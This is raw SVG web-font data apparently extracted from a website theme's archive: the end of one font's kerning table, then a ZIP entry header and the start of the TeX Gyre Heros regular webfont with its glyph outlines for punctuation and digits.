<hkern u1="&#xc2;" u2="Y" k="90" />
<hkern u1="&#xc2;" u2="U" k="30" />
<hkern u1="&#xc3;" u2="y" k="35" />
<hkern u1="&#xc3;" u2="o" k="15" />
<hkern u1="&#xc3;" u2="Y" k="90" />
<hkern u1="&#xc3;" u2="O" k="35" />
<hkern u1="&#xc4;" u2="&#x2039;" k="40" />
<hkern u1="&#xc4;" u2="&#x201d;" k="65" />
<hkern u1="&#xc4;" u2="&#x2019;" k="60" />
<hkern u1="&#xc4;" u2="&#x178;" k="90" />
<hkern u1="&#xc4;" u2="&#xff;" k="35" />
<hkern u1="&#xc4;" u2="&#xfc;" k="10" />
<hkern u1="&#xc4;" u2="&#xfb;" k="10" />
<hkern u1="&#xc4;" u2="&#xf8;" k="15" />
<hkern u1="&#xc4;" u2="&#xf6;" k="15" />
<hkern u1="&#xc4;" u2="&#xeb;" k="10" />
<hkern u1="&#xc4;" u2="&#xe7;" k="15" />
<hkern u1="&#xc4;" u2="&#xdc;" k="30" />
<hkern u1="&#xc4;" u2="&#xdb;" k="30" />
<hkern u1="&#xc4;" u2="&#xd8;" k="35" />
<hkern u1="&#xc4;" u2="&#xd6;" k="35" />
<hkern u1="&#xc4;" u2="&#xc7;" k="35" />
<hkern u1="&#xc4;" u2="&#xab;" k="45" />
<hkern u1="&#xc4;" u2="y" k="35" />
<hkern u1="&#xc4;" u2="w" k="25" />
<hkern u1="&#xc4;" u2="v" k="35" />
<hkern u1="&#xc4;" u2="u" k="10" />
<hkern u1="&#xc4;" u2="t" k="20" />
<hkern u1="&#xc4;" u2="q" k="10" />
<hkern u1="&#xc4;" u2="o" k="15" />
<hkern u1="&#xc4;" u2="g" k="15" />
<hkern u1="&#xc4;" u2="e" k="10" />
<hkern u1="&#xc4;" u2="d" k="15" />
<hkern u1="&#xc4;" u2="c" k="15" />
<hkern u1="&#xc4;" u2="Y" k="90" />
<hkern u1="&#xc4;" u2="W" k="50" />
<hkern u1="&#xc4;" u2="V" k="65" />
<hkern u1="&#xc4;" u2="U" k="30" />
<hkern u1="&#xc4;" u2="T" k="80" />
<hkern u1="&#xc4;" u2="Q" k="35" />
<hkern u1="&#xc4;" u2="O" k="35" />
<hkern u1="&#xc4;" u2="G" k="35" />
<hkern u1="&#xc4;" u2="C" k="35" />
<hkern u1="&#xc4;" u2="&#x2e;" k="-20" />
<hkern u1="&#xc4;" u2="&#x2d;" k="-5" />
<hkern u1="&#xc4;" u2="&#x2c;" k="-20" />
<hkern u1="&#xc5;" u2="&#x2039;" k="40" />
<hkern u1="&#xc5;" u2="&#x201d;" k="65" />
<hkern u1="&#xc5;" u2="&#x2019;" k="60" />
<hkern u1="&#xc5;" u2="&#x178;" k="90" />
<hkern u1="&#xc5;" u2="&#xff;" k="35" />
<hkern u1="&#xc5;" u2="&#xfc;" k="10" />
<hkern u1="&#xc5;" u2="&#xfb;" k="10" />
<hkern u1="&#xc5;" u2="&#xf8;" k="15" />
<hkern u1="&#xc5;" u2="&#xf6;" k="15" />
<hkern u1="&#xc5;" u2="&#xeb;" k="10" />
<hkern u1="&#xc5;" u2="&#xe7;" k="15" />
<hkern u1="&#xc5;" u2="&#xdc;" k="30" />
<hkern u1="&#xc5;" u2="&#xdb;" k="30" />
<hkern u1="&#xc5;" u2="&#xd8;" k="35" />
<hkern u1="&#xc5;" u2="&#xd6;" k="35" />
<hkern u1="&#xc5;" u2="&#xc7;" k="35" />
<hkern u1="&#xc5;" u2="&#xab;" k="45" />
<hkern u1="&#xc5;" u2="y" k="35" />
<hkern u1="&#xc5;" u2="w" k="25" />
<hkern u1="&#xc5;" u2="v" k="35" />
<hkern u1="&#xc5;" u2="u" k="10" />
<hkern u1="&#xc5;" u2="t" k="20" />
<hkern u1="&#xc5;" u2="q" k="10" />
<hkern u1="&#xc5;" u2="o" k="15" />
<hkern u1="&#xc5;" u2="g" k="15" />
<hkern u1="&#xc5;" u2="e" k="10" />
<hkern u1="&#xc5;" u2="d" k="15" />
<hkern u1="&#xc5;" u2="c" k="15" />
<hkern u1="&#xc5;" u2="Y" k="90" />
<hkern u1="&#xc5;" u2="W" k="50" />
<hkern u1="&#xc5;" u2="V" k="65" />
<hkern u1="&#xc5;" u2="U" k="30" />
<hkern u1="&#xc5;" u2="T" k="80" />
<hkern u1="&#xc5;" u2="Q" k="35" />
<hkern u1="&#xc5;" u2="O" k="35" />
<hkern u1="&#xc5;" u2="G" k="35" />
<hkern u1="&#xc5;" u2="C" k="35" />
<hkern u1="&#xc5;" u2="&#x2e;" k="-20" />
<hkern u1="&#xc5;" u2="&#x2d;" k="-5" />
<hkern u1="&#xc5;" u2="&#x2c;" k="-20" />
<hkern u1="&#xc7;" u2="&#xd8;" k="5" />
<hkern u1="&#xc7;" u2="&#xd6;" k="5" />
<hkern u1="&#xc7;" u2="&#xc6;" k="15" />
<hkern u1="&#xc7;" u2="&#xc5;" k="30" />
<hkern u1="&#xc7;" u2="&#xc4;" k="30" />
<hkern u1="&#xc7;" u2="O" k="5" />
<hkern u1="&#xc7;" u2="H" k="-5" />
<hkern u1="&#xc7;" u2="A" k="30" />
<hkern u1="&#xd1;" u2="&#xfc;" k="-10" />
<hkern u1="&#xd1;" u2="&#xfb;" k="-10" />
<hkern u1="&#xd1;" u2="&#xf8;" k="-10" />
<hkern u1="&#xd1;" u2="&#xf6;" k="-10" />
<hkern u1="&#xd1;" u2="&#xeb;" k="-20" />
<hkern u1="&#xd1;" u2="&#xe6;" k="-15" />
<hkern u1="&#xd1;" u2="&#xe5;" k="-15" />
<hkern u1="&#xd1;" u2="&#xe4;" k="-15" />
<hkern u1="&#xd1;" u2="&#xd8;" k="-10" />
<hkern u1="&#xd1;" u2="&#xd6;" k="-10" />
<hkern u1="&#xd1;" u2="&#xc7;" k="-10" />
<hkern u1="&#xd1;" u2="&#xc6;" k="-5" />
<hkern u1="&#xd1;" u2="&#xc5;" k="5" />
<hkern u1="&#xd1;" u2="&#xc4;" k="5" />
<hkern u1="&#xd1;" u2="u" k="-10" />
<hkern u1="&#xd1;" u2="o" k="-10" />
<hkern u1="&#xd1;" u2="e" k="-20" />
<hkern u1="&#xd1;" u2="a" k="-15" />
<hkern u1="&#xd1;" u2="O" k="-10" />
<hkern u1="&#xd1;" u2="G" k="-10" />
<hkern u1="&#xd1;" u2="C" k="-10" />
<hkern u1="&#xd1;" u2="A" k="5" />
<hkern u1="&#xd1;" u2="&#x2e;" k="-15" />
<hkern u1="&#xd1;" u2="&#x2c;" k="-15" />
<hkern u1="&#xd2;" u2="A" k="35" />
<hkern u1="&#xd3;" u2="T" k="20" />
<hkern u1="&#xd3;" u2="A" k="35" />
<hkern u1="&#xd6;" u2="&#x178;" k="60" />
<hkern u1="&#xd6;" u2="&#xc6;" k="25" />
<hkern u1="&#xd6;" u2="&#xc5;" k="35" />
<hkern u1="&#xd6;" u2="&#xc4;" k="35" />
<hkern u1="&#xd6;" u2="Y" k="60" />
<hkern u1="&#xd6;" u2="X" k="35" />
<hkern u1="&#xd6;" u2="W" k="20" />
<hkern u1="&#xd6;" u2="V" k="35" />
<hkern u1="&#xd6;" u2="T" k="20" />
<hkern u1="&#xd6;" u2="A" k="35" />
<hkern u1="&#xd8;" u2="&#x178;" k="60" />
<hkern u1="&#xd8;" u2="&#xc6;" k="25" />
<hkern u1="&#xd8;" u2="&#xc5;" k="35" />
<hkern u1="&#xd8;" u2="&#xc4;" k="35" />
<hkern u1="&#xd8;" u2="Y" k="60" />
<hkern u1="&#xd8;" u2="X" k="35" />
<hkern u1="&#xd8;" u2="W" k="20" />
<hkern u1="&#xd8;" u2="V" k="35" />
<hkern u1="&#xd8;" u2="T" k="20" />
<hkern u1="&#xd8;" u2="A" k="35" />
<hkern u1="&#xd9;" u2="&#xf1;" k="-5" />
<hkern u1="&#xd9;" u2="n" k="-5" />
<hkern u1="&#xd9;" u2="m" k="-5" />
<hkern u1="&#xd9;" u2="A" k="35" />
<hkern u1="&#xda;" u2="&#xf1;" k="-5" />
<hkern u1="&#xda;" u2="p" k="-5" />
<hkern u1="&#xda;" u2="n" k="-5" />
<hkern u1="&#xda;" u2="m" k="-5" />
<hkern u1="&#xda;" u2="A" k="35" />
<hkern u1="&#xdb;" u2="&#xf1;" k="-5" />
<hkern u1="&#xdb;" u2="&#xc6;" k="20" />
<hkern u1="&#xdb;" u2="&#xc5;" k="35" />
<hkern u1="&#xdb;" u2="&#xc4;" k="35" />
<hkern u1="&#xdb;" u2="r" k="-5" />
<hkern u1="&#xdb;" u2="p" k="-5" />
<hkern u1="&#xdb;" u2="n" k="-5" />
<hkern u1="&#xdb;" u2="m" k="-5" />
<hkern u1="&#xdb;" u2="A" k="35" />
<hkern u1="&#xdb;" u2="&#x2e;" k="5" />
<hkern u1="&#xdb;" u2="&#x2c;" k="5" />
<hkern u1="&#xdc;" u2="&#xf1;" k="-5" />
<hkern u1="&#xdc;" u2="&#xc6;" k="20" />
<hkern u1="&#xdc;" u2="&#xc5;" k="35" />
<hkern u1="&#xdc;" u2="&#xc4;" k="35" />
<hkern u1="&#xdc;" u2="r" k="-5" />
<hkern u1="&#xdc;" u2="p" k="-5" />
<hkern u1="&#xdc;" u2="n" k="-5" />
<hkern u1="&#xdc;" u2="m" k="-5" />
<hkern u1="&#xdc;" u2="A" k="35" />
<hkern u1="&#xdc;" u2="&#x2e;" k="5" />
<hkern u1="&#xdc;" u2="&#x2c;" k="5" />
<hkern u1="&#xdd;" u2="&#x153;" k="30" />
<hkern u1="&#xdd;" u2="&#x152;" k="20" />
<hkern u1="&#xdd;" u2="&#xfc;" k="25" />
<hkern u1="&#xdd;" u2="&#xfb;" k="25" />
<hkern u1="&#xdd;" u2="&#xfa;" k="40" />
<hkern u1="&#xdd;" u2="&#xf9;" k="25" />
<hkern u1="&#xdd;" u2="&#xf6;" k="35" />
<hkern u1="&#xdd;" u2="&#xf5;" k="35" />
<hkern u1="&#xdd;" u2="&#xf4;" k="35" />
<hkern u1="&#xdd;" u2="&#xf3;" k="55" />
<hkern u1="&#xdd;" u2="&#xf2;" k="35" />
<hkern u1="&#xdd;" u2="&#xeb;" k="35" />
<hkern u1="&#xdd;" u2="&#xea;" k="35" />
<hkern u1="&#xdd;" u2="&#xe9;" k="50" />
<hkern u1="&#xdd;" u2="&#xe8;" k="35" />
<hkern u1="&#xdd;" u2="&#xe6;" k="30" />
<hkern u1="&#xdd;" u2="&#xe5;" k="35" />
<hkern u1="&#xdd;" u2="&#xe4;" k="35" />
<hkern u1="&#xdd;" u2="&#xe3;" k="35" />
<hkern u1="&#xdd;" u2="&#xe2;" k="35" />
<hkern u1="&#xdd;" u2="&#xe1;" k="50" />
<hkern u1="&#xdd;" u2="&#xe0;" k="35" />
<hkern u1="&#xdd;" u2="&#xc6;" k="55" />
<hkern u1="&#xdd;" u2="T" k="-20" />
<hkern u1="&#xdd;" u2="C" k="50" />
<hkern u1="&#xe0;" u2="y" k="15" />
<hkern u1="&#xe1;" u2="y" k="15" />
<hkern u1="&#xe2;" u2="y" k="15" />
<hkern u1="&#xe3;" u2="y" k="15" />
<hkern u1="&#xe4;" u2="&#x2019;" k="10" />
<hkern u1="&#xe4;" u2="&#xff;" k="15" />
<hkern u1="&#xe4;" u2="y" k="15" />
<hkern u1="&#xe4;" u2="w" k="5" />
<hkern u1="&#xe4;" u2="v" k="20" />
<hkern u1="&#xe5;" u2="&#x2019;" k="10" />
<hkern u1="&#xe5;" u2="&#xff;" k="15" />
<hkern u1="&#xe5;" u2="y" k="15" />
<hkern u1="&#xe5;" u2="w" k="5" />
<hkern u1="&#xe5;" u2="v" k="20" />
<hkern u1="&#xe6;" u2="&#xff;" k="20" />
<hkern u1="&#xe6;" u2="y" k="20" />
<hkern u1="&#xe6;" u2="w" k="5" />
<hkern u1="&#xe6;" u2="v" k="20" />
<hkern u1="&#xe7;" u2="k" k="-5" />
<hkern u1="&#xe8;" u2="t" k="5" />
<hkern u1="&#xe9;" u2="t" k="5" />
<hkern u1="&#xea;" u2="t" k="5" />
<hkern u1="&#xeb;" u2="&#x2019;" k="10" />
<hkern u1="&#xeb;" u2="&#xff;" k="15" />
<hkern u1="&#xeb;" u2="y" k="15" />
<hkern u1="&#xeb;" u2="x" k="20" />
<hkern u1="&#xeb;" u2="w" k="5" />
<hkern u1="&#xeb;" u2="v" k="20" />
<hkern u1="&#xeb;" u2="t" k="5" />
<hkern u1="&#xf1;" u2="&#x2019;" k="10" />
<hkern u1="&#xf1;" u2="&#xff;" k="20" />
<hkern u1="&#xf1;" u2="y" k="20" />
<hkern u1="&#xf1;" u2="w" k="5" />
<hkern u1="&#xf1;" u2="v" k="20" />
<hkern u1="&#xf1;" u2="p" k="-5" />
<hkern u1="&#xf1;" u2="T" k="80" />
<hkern u1="&#xf3;" u2="t" k="10" />
<hkern u1="&#xf3;" u2="T" k="85" />
<hkern u1="&#xf6;" u2="&#x2019;" k="15" />
<hkern u1="&#xf6;" u2="&#xff;" k="20" />
<hkern u1="&#xf6;" u2="y" k="20" />
<hkern u1="&#xf6;" u2="x" k="25" />
<hkern u1="&#xf6;" u2="w" k="10" />
<hkern u1="&#xf6;" u2="v" k="25" />
<hkern u1="&#xf6;" u2="t" k="10" />
<hkern u1="&#xf6;" u2="T" k="85" />
<hkern u1="&#xf8;" u2="&#x2019;" k="15" />
<hkern u1="&#xf8;" u2="&#xff;" k="20" />
<hkern u1="&#xf8;" u2="y" k="20" />
<hkern u1="&#xf8;" u2="x" k="25" />
<hkern u1="&#xf8;" u2="w" k="10" />
<hkern u1="&#xf8;" u2="v" k="25" />
<hkern u1="&#xf8;" u2="t" k="10" />
<hkern u1="&#xf8;" u2="T" k="85" />
<hkern u1="&#xfd;" u2="&#x153;" k="10" />
<hkern u1="&#xfd;" u2="&#xe6;" k="5" />
<hkern u1="&#xfd;" u2="c" k="20" />
<hkern u1="&#xff;" u2="&#x153;" k="10" />
<hkern u1="&#xff;" u2="&#xf8;" k="20" />
<hkern u1="&#xff;" u2="&#xf6;" k="20" />
<hkern u1="&#xff;" u2="&#xeb;" k="15" />
<hkern u1="&#xff;" u2="&#xe7;" k="20" />
<hkern u1="&#xff;" u2="&#xe6;" k="5" />
<hkern u1="&#xff;" u2="&#xe5;" k="15" />
<hkern u1="&#xff;" u2="&#xe4;" k="15" />
<hkern u1="&#xff;" u2="s" k="15" />
<hkern u1="&#xff;" u2="o" k="20" />
<hkern u1="&#xff;" u2="l" k="5" />
<hkern u1="&#xff;" u2="g" k="20" />
<hkern u1="&#xff;" u2="e" k="15" />
<hkern u1="&#xff;" u2="c" k="20" />
<hkern u1="&#xff;" u2="a" k="15" />
<hkern u1="&#xff;" u2="&#x3b;" k="35" />
<hkern u1="&#xff;" u2="&#x3a;" k="30" />
<hkern u1="&#xff;" u2="&#x2e;" k="50" />
<hkern u1="&#xff;" u2="&#x2c;" k="50" />
<hkern u1="&#x178;" u2="&#x2039;" k="95" />
<hkern u1="&#x178;" u2="&#x153;" k="30" />
<hkern u1="&#x178;" u2="&#x152;" k="20" />
<hkern u1="&#x178;" u2="&#xfc;" k="25" />
<hkern u1="&#x178;" u2="&#xfb;" k="25" />
<hkern u1="&#x178;" u2="&#xfa;" k="40" />
<hkern u1="&#x178;" u2="&#xf9;" k="25" />
<hkern u1="&#x178;" u2="&#xf8;" k="70" />
<hkern u1="&#x178;" u2="&#xf6;" k="35" />
<hkern u1="&#x178;" u2="&#xf5;" k="35" />
<hkern u1="&#x178;" u2="&#xf4;" k="35" />
<hkern u1="&#x178;" u2="&#xf3;" k="55" />
<hkern u1="&#x178;" u2="&#xf2;" k="35" />
<hkern u1="&#x178;" u2="&#xeb;" k="35" />
<hkern u1="&#x178;" u2="&#xea;" k="35" />
<hkern u1="&#x178;" u2="&#xe9;" k="50" />
<hkern u1="&#x178;" u2="&#xe8;" k="35" />
<hkern u1="&#x178;" u2="&#xe6;" k="30" />
<hkern u1="&#x178;" u2="&#xe5;" k="35" />
<hkern u1="&#x178;" u2="&#xe4;" k="35" />
<hkern u1="&#x178;" u2="&#xe3;" k="35" />
<hkern u1="&#x178;" u2="&#xe2;" k="35" />
<hkern u1="&#x178;" u2="&#xe1;" k="50" />
<hkern u1="&#x178;" u2="&#xe0;" k="35" />
<hkern u1="&#x178;" u2="&#xd8;" k="55" />
<hkern u1="&#x178;" u2="&#xd6;" k="55" />
<hkern u1="&#x178;" u2="&#xc7;" k="50" />
<hkern u1="&#x178;" u2="&#xc6;" k="55" />
<hkern u1="&#x178;" u2="&#xc5;" k="85" />
<hkern u1="&#x178;" u2="&#xc4;" k="85" />
<hkern u1="&#x178;" u2="&#xab;" k="100" />
<hkern u1="&#x178;" u2="v" k="25" />
<hkern u1="&#x178;" u2="u" k="50" />
<hkern u1="&#x178;" u2="p" k="45" />
<hkern u1="&#x178;" u2="o" k="70" />
<hkern u1="&#x178;" u2="g" k="70" />
<hkern u1="&#x178;" u2="e" k="65" />
<hkern u1="&#x178;" u2="a" k="65" />
<hkern u1="&#x178;" u2="T" k="-20" />
<hkern u1="&#x178;" u2="S" k="30" />
<hkern u1="&#x178;" u2="O" k="55" />
<hkern u1="&#x178;" u2="G" k="55" />
<hkern u1="&#x178;" u2="C" k="50" />
<hkern u1="&#x178;" u2="A" k="85" />
<hkern u1="&#x178;" u2="&#x3b;" k="85" />
<hkern u1="&#x178;" u2="&#x3a;" k="80" />
<hkern u1="&#x178;" u2="&#x2e;" k="80" />
<hkern u1="&#x178;" u2="&#x2d;" k="50" />
<hkern u1="&#x178;" u2="&#x2c;" k="80" />
<hkern u1="&#x2018;" u2="&#x178;" k="15" />
<hkern u1="&#x2018;" u2="&#xc6;" k="60" />
<hkern u1="&#x2018;" u2="&#xc5;" k="75" />
<hkern u1="&#x2018;" u2="&#xc4;" k="75" />
<hkern u1="&#x2018;" u2="Y" k="15" />
<hkern u1="&#x2018;" u2="W" k="-10" />
<hkern u1="&#x2018;" u2="T" k="5" />
<hkern u1="&#x2018;" u2="A" k="75" />
<hkern u1="&#x2019;" u2="&#xff;" k="5" />
<hkern u1="&#x2019;" u2="&#xf8;" k="30" />
<hkern u1="&#x2019;" u2="&#xf6;" k="30" />
<hkern u1="&#x2019;" u2="&#xc6;" k="65" />
<hkern u1="&#x2019;" u2="&#xc5;" k="75" />
<hkern u1="&#x2019;" u2="&#xc4;" k="75" />
<hkern u1="&#x2019;" u2="y" k="5" />
<hkern u1="&#x2019;" u2="v" k="5" />
<hkern u1="&#x2019;" u2="t" k="5" />
<hkern u1="&#x2019;" u2="s" k="20" />
<hkern u1="&#x2019;" u2="r" k="15" />
<hkern u1="&#x2019;" u2="o" k="30" />
<hkern u1="&#x2019;" u2="d" k="25" />
<hkern u1="&#x2019;" u2="A" k="75" />
<hkern u1="&#x2019;" u2="&#x2e;" k="45" />
<hkern u1="&#x2019;" u2="&#x2c;" k="45" />
<hkern u1="&#x201c;" u2="&#x178;" k="10" />
<hkern u1="&#x201c;" u2="&#xc6;" k="55" />
<hkern u1="&#x201c;" u2="&#xc5;" k="70" />
<hkern u1="&#x201c;" u2="&#xc4;" k="70" />
<hkern u1="&#x201c;" u2="Y" k="10" />
<hkern u1="&#x201c;" u2="W" k="-15" />
<hkern u1="&#x201c;" u2="V" k="-5" />
<hkern u1="&#x201c;" u2="A" k="70" />
<hkern u1="&#x201d;" u2="&#x178;" k="5" />
<hkern u1="&#x201d;" u2="&#xc6;" k="55" />
<hkern u1="&#x201d;" u2="&#xc5;" k="70" />
<hkern u1="&#x201d;" u2="&#xc4;" k="70" />
<hkern u1="&#x201d;" u2="Y" k="5" />
<hkern u1="&#x201d;" u2="W" k="-15" />
<hkern u1="&#x201d;" u2="V" k="-5" />
<hkern u1="&#x201d;" u2="A" k="70" />
<hkern u1="&#x201e;" u2="&#x178;" k="90" />
<hkern u1="&#x201e;" u2="&#xc6;" k="-25" />
<hkern u1="&#x201e;" u2="&#xc5;" k="-10" />
<hkern u1="&#x201e;" u2="&#xc4;" k="-10" />
<hkern u1="&#x201e;" u2="Y" k="90" />
<hkern u1="&#x201e;" u2="W" k="50" />
<hkern u1="&#x201e;" u2="V" k="75" />
<hkern u1="&#x201e;" u2="T" k="75" />
<hkern u1="&#x201e;" u2="A" k="-10" />
<hkern u1="&#x203a;" u2="&#x178;" k="105" />
<hkern u1="&#x203a;" u2="&#xc6;" k="35" />
<hkern u1="&#x203a;" u2="&#xc5;" k="45" />
<hkern u1="&#x203a;" u2="&#xc4;" k="45" />
<hkern u1="&#x203a;" u2="Y" k="105" />
<hkern u1="&#x203a;" u2="W" k="55" />
<hkern u1="&#x203a;" u2="V" k="75" />
<hkern u1="&#x203a;" u2="T" k="105" />
<hkern u1="&#x203a;" u2="A" k="45" />
</font>
</defs></svg> PK!<
VoVo;bluetheme/assets/fonts/Tex/texgyreheros-regular-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="texgyreherosregular" horiz-adv-x="556" >
<font-face units-per-em="1000" ascent="784" descent="-216" />
<missing-glyph horiz-adv-x="278" />
<glyph unicode="&#xfb01;" horiz-adv-x="500" d="M18 456v68h70v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h87v-68h-87v-456h-83v456h-70zM336 603v104h104v-104h-104zM346 0v524h83v-524h-83z" />
<glyph unicode="&#xfb02;" horiz-adv-x="500" d="M18 456v68h70v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h87v-68h-87v-456h-83v456h-70zM346 0v729h83v-729h-83z" />
<glyph unicode="&#xfb03;" horiz-adv-x="758" d="M18 456v68h70v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h175v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h87v-68h-87v-456h-83v456h-175v-456h-83v456h-70zM594 603v104h104v-104h-104zM604 0v524h83 v-524h-83z" />
<glyph unicode="&#xfb04;" horiz-adv-x="758" d="M18 456v68h70v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h175v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h87v-68h-87v-456h-83v456h-175v-456h-83v456h-70zM604 0v729h83v-729h-83z" />
<glyph horiz-adv-x="1000" />
<glyph horiz-adv-x="1000" />
<glyph unicode="&#xd;" horiz-adv-x="1000" />
<glyph unicode=" "  horiz-adv-x="278" />
<glyph unicode="&#x09;" horiz-adv-x="278" />
<glyph unicode="&#xa0;" horiz-adv-x="278" />
<glyph unicode="!" horiz-adv-x="278" d="M97 0v104h84v-104h-84zM98 391v338h83v-338l-22 -223h-39z" />
<glyph unicode="&#x22;" horiz-adv-x="355" d="M52 598v111h93v-111l-27 -134h-39zM212 598v111h93v-111l-27 -134h-39z" />
<glyph unicode="#" d="M14 191v68h114l31 174h-108v68h121l36 196h76l-36 -196h125l35 196h77l-36 -196h93v-68h-106l-31 -174h105v-68h-117l-39 -211h-76l38 211h-124l-39 -211h-76l38 211h-101zM204 259h125l31 174h-124z" />
<glyph unicode="$" d="M32 191q0 2 0.5 8t0.5 9h79q6 -53 10 -71t15 -34q33 -47 106 -57v272q-93 28 -126 52q-71 51 -71 146q0 85 50.5 136.5t146.5 63.5v54h59v-54q91 -7 142.5 -59.5t51.5 -137.5h-79q-1 55 -33 90t-82 37v-249q101 -31 131 -48q85 -48 85 -154q0 -96 -55.5 -153.5 t-160.5 -64.5v-103h-59v103q-101 6 -156 61.5t-55 152.5zM127 526q0 -90 116 -121v240q-56 -8 -86 -39t-30 -80zM302 46q65 7 99.5 44.5t34.5 92.5q0 49 -28.5 76t-105.5 50v-263z" />
<glyph unicode="%" horiz-adv-x="889" d="M29 514q0 70 50 120.5t120 50.5q72 0 121.5 -50t49.5 -123q0 -69 -50 -119t-120 -50t-120.5 50.5t-50.5 120.5zM98 514q0 -41 30 -71t72 -30q41 0 71 29.5t30 70.5q0 43 -29.5 72.5t-72.5 29.5q-41 0 -71 -29.5t-30 -71.5zM214 -20l395 729h66l-395 -729h-66zM518 152 q0 70 50 120t120 50q72 0 121.5 -50t49.5 -122q0 -69 -50.5 -119t-119.5 -50q-71 0 -121 50.5t-50 120.5zM587 152q0 -42 30 -71.5t72 -29.5q41 0 71 29.5t30 69.5q0 43 -29.5 72.5t-72.5 29.5q-41 0 -71 -29.5t-30 -70.5z" />
<glyph unicode="&#x26;" horiz-adv-x="667" d="M52 176q0 68 34.5 113.5t127.5 99.5q-47 59 -64 93.5t-17 69.5q0 66 50 111.5t121 45.5t117 -44t46 -113q0 -54 -30 -92t-108 -82l133 -163q31 56 31 119h80q0 -94 -58 -183l122 -151h-109l-62 78q-63 -61 -104.5 -81t-104.5 -20q-92 0 -148.5 54.5t-56.5 144.5zM136 183 q0 -53 38.5 -90.5t92.5 -37.5q73 0 151 82l-160 200q-68 -43 -95 -77.5t-27 -76.5zM215 553q0 -27 12.5 -48.5t57.5 -73.5q59 37 81 63t22 60q0 37 -24.5 61t-62.5 24q-39 0 -62.5 -23.5t-23.5 -62.5z" />
<glyph unicode="'" horiz-adv-x="191" d="M48 598v111h94v-111l-27 -134h-40z" />
<glyph unicode="(" horiz-adv-x="333" d="M73 259q0 118 44 245t119 225h55q-137 -221 -137 -470q0 -248 137 -471h-55q-75 98 -119 225.5t-44 245.5z" />
<glyph unicode=")" horiz-adv-x="333" d="M38 -212q137 221 137 470q0 248 -137 471h55q75 -98 119 -225.5t44 -245.5t-44 -245t-119 -225h-55z" />
<glyph unicode="*" horiz-adv-x="389" d="M40 596l19 59l101 -38v112h58v-112l106 38l19 -59l-108 -30l70 -89l-51 -36l-62 93l-63 -93l-50 36l69 89z" />
<glyph unicode="+" horiz-adv-x="584" d="M68 216v68h190v190h68v-190h190v-68h-190v-190h-68v190h-190z" />
<glyph unicode="," horiz-adv-x="278" d="M87 0v104h105v-120q0 -131 -105 -131v38q35 1 47.5 20t12.5 71v18h-60z" />
<glyph unicode="-" horiz-adv-x="333" d="M46 240v72h238v-72h-238z" />
<glyph unicode="." horiz-adv-x="278" d="M87 0v104h104v-104h-104z" />
<glyph unicode="/" horiz-adv-x="278" d="M-8 -20l237 749h55l-237 -749h-55z" />
<glyph unicode="0" d="M43 347q0 179 58.5 270.5t173.5 91.5q232 0 232 -368q0 -174 -59.5 -265t-172.5 -91q-114 0 -173 91.5t-59 270.5zM133 346q0 -288 140 -288q74 0 109 70.5t35 220.5q0 282 -142 282t-142 -285z" />
<glyph unicode="1" d="M102 505v63q102 13 133 36t54 105h58v-709h-88v505h-157z" />
<glyph unicode="2" d="M34 0q6 117 47 180.5t152 126.5l92 52q96 55 96 140q0 57 -40 95t-100 38q-67 0 -102.5 -40.5t-40.5 -128.5h-88q7 246 234 246q100 0 163.5 -59t63.5 -149q0 -134 -150 -214l-100 -54q-65 -38 -93 -70t-35 -76h373v-87h-472z" />
<glyph unicode="3" d="M32 214h88q5 -77 41 -114t108 -37q69 0 108 37.5t39 104.5q0 60 -37.5 92.5t-109.5 32.5h-48v74q102 0 138 24t36 83q0 56 -33.5 88.5t-91.5 32.5q-68 0 -101 -37t-34 -115h-88q5 229 222 229q101 0 158.5 -52t57.5 -143q0 -104 -99 -143q63 -22 91.5 -61t28.5 -104 q0 -101 -65.5 -161t-174.5 -60q-110 0 -168 56t-66 173z" />
<glyph unicode="4" d="M28 170v93l322 446h65v-460h105v-79h-105v-170h-88v170h-299zM105 249h222v310z" />
<glyph unicode="5" d="M35 182h88q31 -119 145 -119q73 0 114 42t41 118q0 78 -41.5 122t-113.5 44q-41 0 -70 -14.5t-60 -51.5h-81l53 371h366v-87h-295l-28 -183q59 43 131 43q102 0 165.5 -63.5t63.5 -168.5q0 -112 -67.5 -181t-175.5 -69q-97 0 -155.5 47t-79.5 150z" />
<glyph unicode="6" d="M43 323q0 186 65.5 286t188.5 100q81 0 134.5 -49t66.5 -136h-88q-11 51 -42 79t-77 28q-76 0 -116.5 -69.5t-41.5 -199.5q58 79 163 79q96 0 156.5 -61t60.5 -160q0 -104 -65 -169.5t-167 -65.5q-238 0 -238 338zM138 218q0 -68 41 -111.5t103 -43.5q61 0 101 42t40 108 q0 71 -37 110.5t-101 39.5q-66 0 -106.5 -39.5t-40.5 -105.5z" />
<glyph unicode="7" d="M46 607v87h474v-74q-229 -272 -288 -620h-94q75 335 291 607h-383z" />
<glyph unicode="8" d="M37 201q0 114 121 172q-54 34 -75 66t-21 81q0 83 59.5 136t153.5 53t153.5 -53t59.5 -136q0 -50 -21 -82t-76 -65q122 -58 122 -173q0 -96 -66.5 -155.5t-171.5 -59.5q-106 0 -172 59.5t-66 156.5zM127 199q0 -62 40.5 -99t105.5 -37q68 0 109 36.5t41 99.5 q0 62 -40.5 98.5t-107.5 36.5t-107.5 -36.5t-40.5 -98.5zM152 519q0 -50 33.5 -80.5t89.5 -30.5q55 0 89 30t34 80q0 52 -33.5 82.5t-89.5 30.5t-89.5 -30.5t-33.5 -81.5z" />
